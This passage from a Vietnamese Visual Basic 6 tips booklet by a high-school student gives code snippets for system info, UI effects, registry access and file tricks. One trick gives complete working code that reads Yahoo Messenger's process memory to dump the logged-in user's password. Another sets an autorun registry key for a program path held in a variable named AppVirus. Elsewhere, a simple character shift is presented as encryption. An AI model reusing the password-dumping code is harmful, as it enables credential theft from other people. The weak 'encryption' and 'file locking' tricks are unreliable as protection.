pcbNeeded) ret = EnumPorts(ServerName, 2, TempBuff, pcbNeeded, pcbNeeded, pcReturned) If ret Then CopyMem PortsStruct(0), ByVal TempBuff, pcbNeeded For i = 0 To pcReturned - 1 Ports(i).pDescription = LPSTRtoSTRING(PortsStruct(i).pDescription) Ports(i).pPortName = LPSTRtoSTRING(PortsStruct(i).pPortName) Ports(i).pMonitorName = LPSTRtoSTRING(PortsStruct(i).pMonitorName) Ports(i).fPortType = PortsStruct(i).fPortType Next End If GetAvailablePorts = pcReturned If TempBuff Then HeapFree GetProcessHeap(), 0, TempBuff End Function Private Sub Lay_Ports() Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 31
  • 32. Chiêu thức lập trình VB 6.0 Dim NumPorts As Long Dim i As Integer NumPorts = GetAvailablePorts("") Me.Print "Daùnh saùch caùc Port hieän taïi" For i = 0 To NumPorts - 1 Me.Print Ports(i).pPortName Next End Sub '*********************************************************************'Thôngt tin về tình trạng mạng và thông số card mạng Private Sub Lay_Adepter() Dim error As Long Dim FixedInfoSize As Long Dim AdapterInfoSize As Long Dim i As Integer Dim PhysicalAddress As String Dim NewTime As Date Dim AdapterInfo As IP_ADAPTER_INFO Dim Adapt As IP_ADAPTER_INFO Dim AddrStr As IP_ADDR_STRING Dim FixedInfo As FIXED_INFO Dim Buffer As IP_ADDR_STRING Dim pAddrStr As Long Dim pAdapt As Long Dim Buffer2 As IP_ADAPTER_INFO Dim FixedInfoBuffer() As Byte Dim AdapterInfoBuffer() As Byte FixedInfoSize = 0 error = GetNetworkParams(ByVal 0&, FixedInfoSize) If error <> 0 Then If error <> ERROR_BUFFER_OVERFLOW Then Me.Print "GetNetworkParams sizing failed with error " & error Exit Sub End If End If ReDim FixedInfoBuffer(FixedInfoSize - 1) error = GetNetworkParams(FixedInfoBuffer(0), FixedInfoSize) If error = 0 Then CopyMemory FixedInfo, FixedInfoBuffer(0), Len(FixedInfo) Me.Print "Host Name: " & FixedInfo.HostName 'host name Me.Print "DNS Servers: " & FixedInfo.DnsServerList.IpAddress 'dns server IP pAddrStr = FixedInfo.DnsServerList.Next Do While pAddrStr <> 0 CopyMemory Buffer, ByVal pAddrStr, Len(Buffer) Me.Print "DNS Servers: " & Buffer.IpAddress 'dns server IP pAddrStr = Buffer.Next Loop Select Case FixedInfo.NodeType 'node type Case 1 Me.Print "Node type: Broadcast" Case 2 Me.Print "Node type: Peer to peer" Case 4 Me.Print "Node type: Mixed" Case 8 Me.Print "Node type: Hybrid" Case Else Me.Print "Unknown node type" End Select Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 32
  • 33. Chiêu thức lập trình VB 6.0 Me.Print "NetBIOS Scope ID: " & FixedInfo.ScopeId 'scope ID 'routing If FixedInfo.EnableRouting Then Me.Print "IP Routing Enabled " Else Me.Print "IP Routing not enabled" End If ' proxy If FixedInfo.EnableProxy Then Me.Print "WINS Proxy Enabled " Else Me.Print "WINS Proxy not Enabled " End If ' netbios If FixedInfo.EnableDns Then Me.Print "NetBIOS Resolution Uses DNS " Else Me.Print "NetBIOS Resolution Does not use DNS " End If Else Me.Print "GetNetworkParams failed with error " & error Exit Sub End If AdapterInfoSize = 0 error = GetAdaptersInfo(ByVal 0&, AdapterInfoSize) If error <> 0 Then If error <> ERROR_BUFFER_OVERFLOW Then Me.Print "GetAdaptersInfo sizing failed with error " & error Exit Sub End If End If ReDim AdapterInfoBuffer(AdapterInfoSize - 1) error = GetAdaptersInfo(AdapterInfoBuffer(0), AdapterInfoSize) If error <> 0 Then Me.Print "GetAdaptersInfo failed with error " & error Exit Sub End If CopyMemory AdapterInfo, AdapterInfoBuffer(0), Len(AdapterInfo) pAdapt = AdapterInfo.Next Do While pAdapt <> 0 CopyMemory Buffer2, AdapterInfo, Len(Buffer2) Select Case Buffer2.Type Case MIB_IF_TYPE_ETHERNET Me.Print "Ethernet adapter " Case MIB_IF_TYPE_TOKENRING Me.Print "Token Ring adapter " Case MIB_IF_TYPE_FDDI Me.Print "FDDI adapter " Case MIB_IF_TYPE_PPP Me.Print "PPP adapter" Case MIB_IF_TYPE_LOOPBACK Me.Print "Loopback adapter " Case MIB_IF_TYPE_SLIP Me.Print "Slip adapter " Case Else Me.Print "Other adapter " End Select Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 33
  • 34. Chiêu thức lập trình VB 6.0 Me.Print " AdapterName: " & Buffer2.AdapterName Me.Print "AdapterDescription: " & Buffer2.Description 'adatpter name For i = 0 To Buffer2.AddressLength - 1 PhysicalAddress = PhysicalAddress & Hex(Buffer2.Address(i)) If i < Buffer2.AddressLength - 1 Then PhysicalAddress = PhysicalAddress & "-" End If Next Me.Print "Physical Address: " & PhysicalAddress 'mac address If Buffer2.DhcpEnabled Then Me.Print "DHCP Enabled " Else Me.Print "DHCP disabled" End If pAddrStr = Buffer2.IpAddressList.Next Do While pAddrStr <> 0 CopyMemory Buffer, Buffer2.IpAddressList, LenB(Buffer) Me.Print "IP Address: " & Buffer.IpAddress Me.Print "Subnet Mask: " & Buffer.IpMask pAddrStr = Buffer.Next If pAddrStr <> 0 Then CopyMemory Buffer2.IpAddressList, ByVal pAddrStr, Len(Buffer2.IpAddressList) End If Loop Me.Print "Default Gateway: " & Buffer2.GatewayList.IpAddress pAddrStr = Buffer2.GatewayList.Next Do While pAddrStr <> 0 CopyMemory Buffer, Buffer2.GatewayList, Len(Buffer) Me.Print "IP Address: " & Buffer.IpAddress pAddrStr = Buffer.Next If pAddrStr <> 0 Then CopyMemory Buffer2.GatewayList, ByVal pAddrStr, Len(Buffer2.GatewayList) End If Loop Me.Print "DHCP Server: " & Buffer2.DhcpServer.IpAddress Me.Print "Primary WINS Server: " & Buffer2.PrimaryWinsServer.IpAddress Me.Print "Secondary WINS Server: " & Buffer2.SecondaryWinsServer.IpAddress NewTime = CDate(Adapt.LeaseObtained) Me.Print "Lease Obtained: " & CStr(NewTime) NewTime = CDate(Adapt.LeaseExpires) Me.Print "Lease Expires : " & CStr(NewTime) pAdapt = Buffer2.Next If pAdapt <> 0 Then CopyMemory AdapterInfo, ByVal pAdapt, Len(AdapterInfo) End If Loop End Sub Private Sub Form_Load() Me.Font = "VNI-Palatin" Me.AutoRedraw = True Ten_Card_ManHinh Ten_Cac_May_In Ban_Phim Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 34
  • 35. Chiêu thức lập trình VB 6.0 Lay_CPU Lay_Ports Lay_Adepter End Sub Đôc chiêu 17 : Chương trình khởi động cùng với Windowns home Xuất xứ : www.pscode.com Binh khí sử dụng : Một Module Đoạn mã : (Trong đoạn mạ còn có thành phần ngừng ngắt chương trình khởi động cùng Windown ) Module : Option Explicit Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Const REG_SZ = 1 ' Unicode nul terminated string Public Const REG_BINARY = 3 ' Free form binary Public Const HKEY_CURRENT_USER = &H80000001 Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret End Sub Sub DelSetting(hKey As Long, strPath As String, strValue As String) Dim Ret RegCreateKey hKey, strPath, Ret RegDeleteValue Ret, strValue RegCloseKey Ret End Sub Form : Dim AppVirus As String Private Sub Form_Load() If Len(App.Path) <> 3 Then AppVirus = App.Path + "" + App.exename + (“.exe”) Else AppVirus = App.Path + App.exename + (“.exe”) End If SaveString HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", "DungCoi", AppVirus ‘ DelSetting HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", "DungCoi" End Sub ‘Chú ý : Phần DungCoi ở đây là Tên Key ‘ Phần AppVirus là đường dẫn File của bạn Đôc chiêu 18 : Play một file nhạc Midi home Xuất xứ : Lê Nguyên Dũng (dungcoi2005) sửa lại từ www.allapi.net Binh khí sử dụng : Một Module, 2 nút ấn (CommandButton) Đoạn mã : Module : Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Form : Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 35
  • 36. Chiêu thức lập trình VB 6.0 Private Sub Form_Load() Command1.Caption = "Play" Command2.Caption = "Stop" End Sub Private Sub Command1_Click() result = mciSendString("open d:Nhac.mid type sequencer alias canyon", 0&, 0, 0) ‘d:Nhac.mid : Đường dẫn File nhạc result = mciSendString("play canyon", 0&, 0, 0) ‘Bắt đầu phát nhạc (Với đường dẫn File nhạc tương ứng với dòng lệnh phía trên End Sub Private Sub Command2_Click() result = mciSendString("close all", 0&, 0, 0) ‘Dừng phát nhạc, dừng tất cả các âm thanh phát ra loa bởi MCI (Nếu không có câu lệnh này thì dù bạn có thoát khỏi ứng dụng này thì MCI vẫn cứ phát nhạc) End Sub Đôc chiêu 19 : Khoá một file ảnh định dạng .bmp home Xuất xứ : Lê Nguyên Dũng (dungcoi2005) sửa lại từ www.pscode.com Binh khí sử dụng : 2 nút ấn (CommandButton) Nói qua : Chiêu này rất hay các bạn ạ nó giúp bạn không cho người khác xem những tấm ảnh bạn muốn và quan trọng hơn bạn có thể dễ dành viết một phần mềm bảo mật ảnh. Nguyên tắc : Rất đơn giản các bạn ạ, chương trình sẽ phá vỡ Byte kết thúc của File =>> File sẽ không thể đúng định dạng chuẩn của ảnh Bitmap =>> Đố phần mềm nghe nhạc nào mà mở nổi . Cần nói them là vì nguyên tắc quá đơn giản thì cũng rất dễ bị người khác tìm cách phá vỡ(Tất nhiên họ phải có kiến thức kha khá ) Đoạn mã : Function MoKhoa(File) A = FreeFile Open File For Binary As #A B$ = Chr(0) Put #A, 17, B$ Close #A End Function Function KhoaAnh(File) A = FreeFile Open File For Binary As #A B$ = "X" Put #A, 17, B$ Close #A End Function Private Sub Command1_Click() KhoaAnh ("d:hinh anh.bmp") End Sub Private Sub Command2_Click() MoKhoa ("d:hinh anh.bmp") End Sub Private Sub Form_Load() Command1.Caption = " Khoa file anh" Command2.Caption = " Mo khoa file anh" End Sub Đôc chiêu 20 : Để form của bạn ở chế độ “Luôn nổi” home Xuất xứ : Lê Nguyên Dũng (dungcoi) sửa lại từ www.allapi.net Binh khí sử dụng : 1 Timer có giá trị Interval = 50 hoặc gì gì đó nhưng đừng lớn quá chương trình kém “Nhạy” đừng nhỏ quá chương trình “Giật giật” Nguyên tắc : Nếu như một số Code, người ta chỉ thuần cho Form của bạn “On top” khi Load thì Code này chẳng qua cho nó “On top” dài dài bằng cách cho mấy câu lệnh để Fom “On top” vô biến cố của Timer. Ô la la, Very easy. Đoạn mã : Const HWND_TOPMOST = -1 Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 36
  • 37. Chiêu thức lập trình VB 6.0 Const HWND_NOTOPMOST = -2 Const SWP_NOSIZE = &H1 Const SWP_NOMOVE = &H2 Const SWP_NOACTIVATE = &H10 Const SWP_SHOWWINDOW = &H40 Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) Private Sub Timer1_Timer() SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE End Sub Đôc chiêu 21 : TextBox chỉ “Chịu” nhận số home Xuất xứ : www.allapi.net Binh khí sử dụng : 1 TextBox và 1 Module Nguyên tắc : Mỗi phím nhập vào sẽ được Bạn kiểm tra xem nó có là số hay không thong qua hàm Numberic nếu nó đúng là số thì “À số hả cho qua”, nếu đó không phải số số thì “Không phận sự miễn vào” Đoạn mã : Private Sub Text1_KeyPress(KeyAscii As Integer) If IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0 End Sub Đôc chiêu 22 : Để form trở nên trong suốt home Xuất xứ : www.allapi.net Binh khí sử dụng : Không Đoạn mã : Const LWA_COLORKEY = &H1 Const LWA_ALPHA = &H2 Const GWL_EXSTYLE = (-20) Const WS_EX_LAYERED = &H80000 Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Sub Form_Load() Dim Ret As Long Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE) Ret = Ret Or WS_EX_LAYERED SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret SetLayeredWindowAttributes Me.hWnd, 0, 128, LWA_ALPHA End Sub ‘ Chú ý số 128 : Chính là số chỉ định độ trong suốt (Số này từ 0->255) Đôc chiêu 23 : Lấy tên người sử dung của Windowns home Xuất xứ : www.allapi.net Binh khí sử dụng : 1 Module Đoạn mã : Module : Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long Form : Sub Get_User_Name() Dim lpBuff As String * 25 Dim ret As Long, UserName As String ret = GetUserName(lpBuff, 25) UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1) MsgBox UserName End Sub Private Sub Form_Load() Get_User_Name Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 37
  • 38. Chiêu thức lập trình VB 6.0 End Sub Đôc chiêu 24 : Chép cả màn hình làm việc vào một Picture home Xuất xứ : www.ttvnol.com Binh khí sử dụng : 1 Picture và một nút ấn Đoạn mã : Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long Private Sub Command1_Click() Dim wScreen As Long Dim hScreen As Long Dim w As Long Dim h As Long Picture1.Cls wScreen = Screen.Width Screen.TwipsPerPixelX hScreen = Screen.Height Screen.TwipsPerPixelY Picture1.ScaleMode = vbPixels w = Picture1.ScaleWidth h = Picture1.ScaleHeight hdcScreen = GetDC(0) r = StretchBlt(Picture1.hdc, 0, 0, w, h, hdcScreen, 0, 0, wScreen, hScreen, vbSrcCopy) End Sub Đôc chiêu 25 : Dấu dữ liệu dạng text vào 1 file bất kỳ home Xuất xứ : www.ttvnol.com Binh khí sử dụng : Hai textbox đặt tên lần lượt là txtPath và txtContains. Hai command button đặt tên lần lượt là CmdEncrypt và CmdDecrypt Nguyên tắc : Chèn vào cuối File thông điệp muốn đặt sau đó đặt lại Byte chót cùng cho “Nó” và “Thả” nó ra. Vì nguyên tắc đơn giản nên bạn cần kết hợp với chiêu “Mã hóa dữ liệu dạng Text” mới có “Cơ may” qua mặt kẻ thù. Đoạn mã : (Khi Runtime nhớ nhập đường dẫn và nội dung) Public Function Dat_Thong_Diep(DuongDan As String, ThongDiep As String) As String Open DuongDan For Binary As #1 Dim BoDem As String BoDem = Space(LOF(1)) Get #1, , BoDem Close #1 Dim Message As String Open DuongDan For Binary As #2 Message = BoDem & ThongDiep & Chr(Len(ThongDiep)) Put #2, , Message End Function Public Function Lay_Thong_Diep(DuongDan As String) As String Open DuongDan For Binary As #1 Dim BoDem As String BoDem = Space(LOF(1)) Get #1, , BoDem Close #1 Dim Message As String Dim LuuC As String LuuC = Right(BoDem, 1) Message = Right(BoDem, Asc(LuuC) + 1) Message = Left(Message, Len(Message) - 1) Lay_Thong_Diep = Message End Function Private Sub CmdEncrypt_Click() If txtPath <> "" And txtContains <> "" Then Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 38
  • 39. Chiêu thức lập trình VB 6.0 Dat_Thong_Diep Trim$(txtPath), Trim$(txtContains) End If End Sub Private Sub CmdDecrypt_Click() txtContains = "" If txtPath <> "" Then txtContains = Lay_Thong_Diep(Trim$(txtPath)) End If End Sub Đôc chiêu 26 : Mở từng hộp thoại trong Control Panel home Xuất xứ : www.pscode.com Binh khí sử dụng : Không Đoạn mã : ( Do có nhiều phần nên tôi chỉ đưa ra Code cơ bản) 'Hộp thoại System Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", 5) ‘Hộp thoại Add/Remove Programs Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1", 5) ' Hộp thoại Date/Time Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", 5) ' Hộp thoại Display Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", 5) ' Hộp thoại Game Controllers Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", 5) ' Hộp thoại Internet Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0", 5) ' Hộp thoại Keyboard Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", 5) ' Hộp thoại Modem Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", 5) ' Hộp thoại Mouse Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", 5) ' Hộp thoại Multimedia Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0", 5) ' Hộp thoại Network Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl", 5) ' Hộp thoại Regional Settings Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0", 5) ' Hộp thoại Sounds Properties Dim dblReturn As Double dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1", 5) Đôc chiêu 27 : Mã hoá dữ liệu dạng text home Nói qua : Phần này rất hay các bạn nên chú ý trong thực tế ứng dụng nên sử dụng một file trung gian để chứa dữ liệu được mã hoá Xuất xứ : www.vbcode.com Binh khí sử dụng : 2 Nút ấn với tên lần lượt là cmdEncode và cmdDecode, 3 TextBox với tên lần lượt là txtDulieu , txtKetQua và txtGiaiMa (Để test thì vậy là đủ còn tôi tất nhiên phải “Màu mè” hơn rồi) Nguyên tắc : “Băm nhỏ” từng ký tự trong chuỗi sau đó phân tích chúng ra mã Ascii, sau đó cộng thêm với mã Ascii này một hằng số (Ở đây chính là “Khóa mã”), rồi chuyển số Ascii vừa tìm được ra lại dạng ký tự, cuối cùng tiến hành “Ghép” lại các ký tự tạo thành chuỗi dữ liệu bị mã hóa. Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 39
  • 40. Chiêu thức lập trình VB 6.0 Đoạn mã : Public Function Encode(Data As String, Optional Depth As Integer) As String Dim TempChar As String Dim TempAsc As Integer Dim NewData As String Dim vChar As Integer For vChar = 1 To Len(Data) TempChar = Mid$(Data, vChar, 1) TempAsc = Asc(TempChar) If Depth = 0 Then Depth = 40 If Depth > 254 Then Depth = 254 TempAsc = TempAsc + Depth If TempAsc > 255 Then TempAsc = TempAsc - 255 TempChar = Chr(TempAsc) NewData = NewData & TempChar Next vChar Encode = NewData End Function Public Function Decode(Data As String, Optional Depth As Integer) As String Dim TempChar As String Dim TempAsc As Integer Dim NewData As String Dim vChar As Integer For vChar = 1 To Len(Data) TempChar = Mid$(Data, vChar, 1) TempAsc = Asc(TempChar) If Depth = 0 Then Depth = 40 If Depth > 254 Then Depth = 254 TempAsc = TempAsc - Depth If TempAsc < 0 Then TempAsc = TempAsc + 255 TempChar = Chr(TempAsc) NewData = NewData & TempChar Next vChar Decode = NewData End Function Private Sub CmdEncode_Click() TxtKetqua.Text = Encode(txtDulieu.Text, 9) End Sub Private Sub cmdDecode_Click() txtGiaiMa.Text = Decode(TxtKetqua.Text, 9) End Sub ‘ Chú ý : Ở chỗ số 9 chính là số ta cần để lựa chọn kiểu Mã hoá hay Giải mã Đôc chiêu 28 : Lấy mật khẩu khi đang Chat trên Yahoo home Xuất xứ : www.donganhonline.com (phuongthanh37) Binh khí sử dụng : Không Nói qua : Có một số bạn hỏi tui rằng cái này có phải là lấy của chế độ tự động đăng nhập không nhưng không nó sẽ đọc trực tiếp bộ nhớ của Yahoo Mát sa ge (7.x). Chú ý : Nếu có vị “Độc giả” anò sau khi đọc sau “Món” này âm mưu viết chương trình ăn cắp mật khẩu thì sẽ “Tự lãnh hậu quả” đó. Lý do ??? Rất đơn giản quá trình đọc Regedit tuân thủ theo nguyên tắc của mấy chú “Virus” thường dung => AV “Bụp” liền. Như vậy để đủ “Trình độ” để làm “Người xấu” ta phải làm gì ??? Ồ tôi sẽ không nói cho các bạn đâu hehehehehe vì nếu tui nói thì chính tui (Dũng còi) sẽ làm gia tằng thêm số lượng hác cơ lơ tơ mơ như vậy thì “Họa” mất. Như vậy mún làm người xấu thì “Các ngừơi xấu của tương lai” hãy chịu khó học hỏi thêm đi nha. À “Chiêu thức “ này còn đang có nhiều tranh cãi nên chưa chắc chắn 100% nha (Riêng tui thành Test thành công) Đoạn mã : 'Cac API va bien se su dung Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 40
  • 41. Chiêu thức lập trình VB 6.0 Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _ ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress _ As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" _ (ByVal hwnd As Long, lpdwProcessId As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Const PROCESS_VM_READ = 16 'Function de doc Registry Function DocKey(StrValue As String) Dim OBJ As Object On Error Resume Next Set OBJ = CreateObject("wscript.shell") DocKey = OBJ.RegRead(StrValue) End Function 'Phan noi dung chinh Dump Pass tu bo nho ra Function YM_Dump(StrTmp As String, Adr As Long) As String Dim Y_Pid, Y_Proc, bfLg As Long Dim sss As String Dim res&, ant& Dim u As Integer 'Tim can cua so chinh cua Y!M yahoobuddymain = FindWindow("yahoobuddymain", vbNullString) 'Lay IdProcess Y!M tu ca'n Hwnd GetWindowThreadProcessId yahoobuddymain, Y_Pid 'Mo Process Y!M de xu ly Y_Proc = OpenProcess(PROCESS_ALL_ACCESS, False, Y_Pid) 'Neu ko mo duoc bao loi va ket thuc If Y_Proc = 0 Then MsgBox "Khong thay YM!, Chay Y!M da nao", vbCritical: Exit Function DoEvents 'Scan Pass tu offset 3600000 =&gt; 4100000 j = 3600000 Do j = j + 1 'Xu ly tung mang 2048 byte For I = 0 To 2048 ReadProcessMemory Y_Proc, j + I, bfLg, 1, 0& 'Neu thay ky tu 0 thi chuyen tiep de kiem tra If bfLg = 0 Then GoTo asd 'Cong don tung ky tu doc duoc sss = sss & Chr(bfLg) DoEvents Next asd: If sss = StrTmp Then Exit Do 'Xac dinh cum ky tu co dinh sss = "" Loop Until j = 4100000 sss = "" 'Lay pass tu bo nho ra For I = 0 To 2048 'Tu cum ky tu co dinh tim den offset chua pass de lay ra ReadProcessMemory Y_Proc, (j + 8) + I, bfLg, 1, 0& If bfLg = 0 Then CloseHandle P_Proc: YM_Dump = sss: Exit Function sss = sss & Chr(bfLg) Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 41
  • 42. Chiêu thức lập trình VB 6.0 DoEvents Next DoEvents End Function Private Sub Form_Load() On Error Resume Next 'Lay ID tu trong Registry txtID = DocKey("HKEY_CURRENT_USERSoftwareyahoopagerYahoo! User ID") 'KT co phai phien ban Y!M 7.0 DocKey ("HKEY_CURRENT_USERSoftwareyahoopagerv70") 'Ton trong tac gia va ban than bang cach giu nguyen ten tac gia 'Dump & Coded by PhuongThanh37 'phuongthanh37@donganhol.com http://donganhol.com If Err.Number & lt & gt Then 'Dump Pass voi Y!M 6 va cum tu co dinh la "@W9" txtPass = YM_Dump("@W9", 8) Else 'Dump Pass voi Y!M 7 va cum tu co dinh la "q`c" txtPass = YM_Dump("q" & Chr(31) & "`c", 8) End If 'Dua ket qua ra MsgBox "Dump & Coded by phuongthanh37" + vbLf + _ "phuongthanh37@donganhol.com Visit: http://donganhol.com" + vbLf + vbLf + _ "Yahoo! ID : " & txtID & vbLf + _ "Password : " & txtPass, 32, "Oh oh Dump pass Y!M in VB" End End Sub Đôc chiêu 29 : Biến giao diện chương trình theo phong cách Windowns XP (Nền WindowXP thui nha) home Xuất xứ : www.pscode.com (Chú ý : Mẫu này lấy từ PSC tuy nhiên phần hiệu đính thì “Mượn” tạm của CauLacBoVB ) Binh khí : Thật bực mình khi chương trình của bạn chạy trên nền WindownsXP hào nhoáng mà giao diện chương trình của bạn vẫn cứ trung thành với giao diện “Cổ điển” (Classic), vậy giờ ta sẽ cùng nhau khắc phục điều này. Chú ý : Trong thực tế ứng dụng (Để chương trình bạn mang tính “Pro” hơn bạn nên sử dụng kết hợp Resource với File này. Bạn sẽ được biết một (Hoặc vài) cách sử dụng Resource cực kỳ hiệu quả thông qua một chiêu ở sau (Chú ý hiện này do chưa có thời gian nên Dũng còi chưa cập nhật cho cuốn tài liệu chiêu này. Trong lần cập nhật sau sẽ có ) Đoạn mã : Bạn copy đoạn code sau vô chương trình soạn thảo NotePad: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity processorArchitecture="x86" version="1.0.0.0" type="win32" name="your application name"/> <description>...Enter your description here ....</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" language="*" processorArchitecture="x86"/> </dependentAssembly> Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 42
  • 43. Chiêu thức lập trình VB 6.0 </dependency> </assembly> Save lại và khi muốn cho chương trình có giao diện XP thì copy file chứa code trên vô thư mục cùng chung với file.exe, đặt lại tên cho nó : tên_chương_trình_của_bạn.exe.manifest Ví dụ : bạn có 1 file chương trình : timcap.exe Đổi tên file chứa đoạn code trên thành : timcap.exe.manifest Bây giờ thử mở chương trình timcap.exe lên xem, nó đã có giao diện XP ... Đôc chiêu 30 : Làm cho ứng dụng từ từ rõ dần khi Load và mờ dần khi Unload home Binh khí : 2 cái đồng hồ Xuất xứ : www.caulacbovb.com Đoạn mã : Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Const GWL_EXSTYLE = (-20) Private Const LWA_ALPHA = &H2 Private Const WS_EX_LAYERED = &H80000 Dim m_lAlpha Private Sub Form_Load() Dim lStyle As Long lStyle = GetWindowLong(Me.hWnd, GWL_EXSTYLE) lStyle = lStyle Or WS_EX_LAYERED SetWindowLong Me.hWnd, GWL_EXSTYLE, lStyle SetLayeredWindowAttributes Me.hWnd, 0, 0, LWA_ALPHA Timer1.Interval = 100 Timer2.Interval = 100 Timer2.Enabled = False Timer1.Enabled = True End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If UnloadMode <> vbFormCode Then Cancel = True Timer2.Enabled = True End If End Sub Private Sub Timer1_Timer() m_lAlpha = m_lAlpha + 15 If (m_lAlpha > 255) Then m_lAlpha = 255 Timer1.Enabled = False Else SetLayeredWindowAttributes Me.hWnd, 0, m_lAlpha, LWA_ALPHA End If End Sub Private Sub Timer2_Timer() m_lAlpha = m_lAlpha - 15 If (m_lAlpha < 0) Then m_lAlpha = 0 Unload Me Else SetLayeredWindowAttributes Me.hWnd, 0, m_lAlpha, LWA_ALPHA End If End Sub Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 43
